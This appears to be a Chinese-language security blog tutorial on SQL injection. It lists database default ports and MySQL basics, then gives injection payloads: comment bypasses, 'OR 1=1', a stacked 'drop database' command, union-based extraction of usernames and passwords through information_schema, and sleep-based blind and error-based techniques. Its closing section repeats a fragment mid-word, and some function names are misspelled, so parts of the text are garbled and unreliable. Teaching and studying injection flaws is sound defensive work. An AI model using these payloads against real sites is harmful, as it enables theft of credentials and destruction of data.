阅读须知:
探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者
本人负责,作者不为此承担任何责任,如有侵权烦请告知,我们会立即删除并致歉,创作不易转载请标明出处.感谢!
师傅: 早睡晚起
SQL注入
SQL注入的几个关键点
- 检索隐藏数据
- 修改应用程序
- Union attack
- 获取敏感数据信息
- 盲注
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432
数据库(MySQL)基础介绍:
–+空格为注释
#也为注释
MySQL版本8.0以下授权为:GRANT ALL ON . TO USERNAME@“host” IDENTIFIED BY “password”
以上为:CREATE USER test@“host” IDENTIFIED BY “password” with_native_password
SHOW DATABASES 列出所有数据库
USE databasename;
USE mysql;
SHOW TABLES;查看某一个数据库里的所有内容 或者是(SHOW TABLES FROM mysql)
-----select语句
SELECT NOW(); 查看当前时间
SELECT DATABASE();查看当前选择的是哪个数据库
SELECT USER();查看当前登录数据库的用户
SELECT @@datadir;查看数据路径
SELECT @@basedir;查看mysql安装路径
SELECT * FROM mysql.user;查询数据(mysql库里的user表)
-----where语句
SELECT USER, HOST FROM mysql.user WHERE USER=“root”;查询用户为root的
在数据库中我们会经常使用到information_schema 这个库
What is SQL Injection
sql注入漏洞:
是发生于应用与数据库层的安全漏洞。网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,web应用未对动态构造的SQL语句进行审查,则会带来意想不到的危险
API:应用程序编程接口
SQL注入没有网页也能进行
SQL注入的危害:
- 猜解后台数据库,盗取网站敏感信息
- 绕过验证登录网站后台
- 借助数据库的存储过程进行提权等操作
SQL注入专题一:尝试拿到隐藏数据
网页右键-检查-network-XHR-刷新 -response-Headers-看url
当输入查询gifts后
SQL语句如下:
select id,name,content,released from products where catagory = ‘%s’ and realeased=‘0’
那么如果我们输入的时Gifts ‘ --(‘ 的作用是为了闭合字符)
那么SQL语句将会变成:
select id,name,content,released from products where catagory = ‘Gifts’ – 'and realeased=‘0’(斜体加粗部分将都被注释掉)
如何找到注入点
在查询框直接输入 **’ ** ,然后再看 网页右键-检查-network-XHR-刷新 -response中的response,如果Response中出现报错—You have an error in your SQL syntax,则这个网页有SQL注入漏洞
原因:输入**‘** 后,SQL语句变为:
select id,name,content,released from products where catagory = ‘%s’
如果没有漏洞,那么%s将变为**’** ,有则变为‘%s’‘,会报错
SQL注入专题二:修改应用程序逻辑
我们想拿到这个页面中的所有信息
select id,name,content,released from products where catagory = ‘%s’ and realeased=‘0’
可以输入**Gifts’ OR 1=1 –
输入后的SQL语句将变成:select id,name,content,released from products where catagory = ‘Gifts’ OR 1=1 – 'and realeased=‘0’(斜体加粗部分将都被注释掉)
因为where后有 OR 1=1 一直成立,所以where语句失去作用
SQL注入专题三:Union attack
删库
select id,name,content,released from products where catagory = ‘%s’ and realeased=‘0’
当你输入**aaa ’ ; drop database products(库名) – **
输入后会变为:select id,name,content,released from products where catagory = ‘aaa’;drop database products – ’ and realeased=‘0’(斜体加粗部分将都被注释掉)
获取username与password
select ***** from ‘products’ union select 1,2,3,4,5
*****返回的值应与union select后的数字的值保持一致,所以可以从1到n试,直到不报错并返回所有表中内容
得到表的内容之后,便可以使用user(),version(),database()做替换(函数 替换时一般选择字符串类型的列进行替换)
回显:输入内容后有展示则可以用union联合攻击
使用database()函数获取库名后(若获取到的库名是sql_inject)可使用:
select table_name from information_schema.tables where table_schema = ‘sql_inject’
便可查询到sql_inject库名中包含的所有表(假设出现的是user,products表)我们要获得的便是user中的username与password ,接着用以下语句:
select 1,database(),column_name,4 from information_schema.columns where table_name(还可能是tablename,看返回结果确定是哪个)=‘user’
查询出来后看表的内容判断是否正确,也有可能查询出来的user表是失去了、库中的user表所以可以输入:
1‘ union select 1,database(),column_name,4 from information where table_name=‘user’ and table_schema=database() –
and条件可以指明当前数据库,获取我们想要的信息。
接着输入1’ union select 1,user_name,password,4 from user #(或者是–+空格)
就拿到想要的数据啦。
工具介绍
工具 postman https://www.postman.com/
Burp Suite
hackbar quantum
盲注
判断是否有盲注,使用 a’ or sleep(10) #,如果sleep(10)语句响应,则存在时间注入漏洞,如果没有响应有可能是不存在也有可能是or前的输入不成立
盲注无回显,所以当我们要想拿到数据库的名字的时候我们就需要使用substr()函数与sleep()函数
select sbstr(database(),1,1)=‘a’ and sleep(2) 意思即为,查找数据库的第一个字符是不是a,如果是那么页面睡2秒后有变化
又因为查询字符太慢,所以我们可以查询ascii码,使用select ascii(‘zaoshuiwanqi’)返回第一个字符的ascii码
select ascii(substr(database(),2,1))= (或>,<)33 and sleep(2)
mid()函数和substr()函数功能完全相同,是substr()函数的变种
User Agent
向服务器发送,包含了访问者系统引擎版本、浏览器信息的字段信息。一般服务器识别出是爬虫请求,会拒绝访问。所以此时设置User-Agent,可以将爬虫伪装成用户通过浏览器访问。最简单的反爬手段
这类SQL注入,没有回显且没有输入,所以我们在注入时可以使用在postman中的header一行添加User Agent一行,在User Agent的值中进行注入。
SQL Injected Stacked queries
堆叠注入(意思即为能输入两个SQL语句)服务端控制
一般均不支持运行多条SQL
Error-based injection
Mysql的报错注入主要利用的是MySQL的一些逻辑漏洞
常用函数:
floor().updated().extractvalue()
– rand()返回随机数
– floor(x)返回一个小于x的整数
– floor(rand(0)*2) 作用即返回0和1
个SQL语句)服务端控制
一般均不支持运行多条SQL
Error-based injection
Mysql的报错注入主要利用的是MySQL的一些逻辑漏洞
常用函数:
floor().updated().extractvalue()
– rand()返回随机数
– floor(x)返回一个小于x的整数
– floor(rand(0)*2) 作用即返回0和1